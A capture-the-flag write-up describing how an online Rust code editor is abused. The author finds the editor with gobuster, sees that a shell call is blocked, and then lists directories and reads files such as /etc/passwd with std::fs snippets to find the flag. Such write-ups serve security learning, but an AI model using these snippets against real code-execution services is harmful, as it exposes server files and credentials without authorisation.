Since there is nothing initially visible, we need to do a little bit of **reccon**.

A quick gobuster using common.txt from seclists reveals a **/editor** endpoint, and this is where the challenge starts.

We are being told we can execute code here, so I initially tried a few languages but failed. After looking in the source code, we find a comment telling us “Rust is cool” so we conclude we must be using **Rust**.

I wrote a quick test script to see if it is actually Rust, and after confirmation I tried to execute ls:

```
use std::process::Command;
fn main() {
    let output = Command::new("ls").output().expect("Failed to execute command");
    println!("{}", String::from_utf8_lossy(&output.stdout));
}
```

However, the server tells me to “Try another way”, so, similarly in python, I will try an open “/” and read its contents:

```
use std::fs;
fn main() {
    let entries = fs::read_dir("/").expect("Failed to read directory");
    for entry in entries {
        let entry = entry.expect("Failed to read entry");
        println!("{}", entry.path().display());
    }
}
```

This executes “ls” in whatever directory I specify. Additionally, we need a way to read files.

```
use std::fs;
fn main() {
    let path = "/etc/passwd";
    match fs::read_to_string(path) {
        Ok(content) => println!("{}", content),
        Err(e) => eprintln!("Error reading file: {}", e),
    }
}
```

This script read any file as long as I give it the full path to it.

Using the last 2 scripts mentioned, I found that the flag is in the **/flag39283761** directory and is in the file named **flag2781263**.

Made with love by: AndreiCat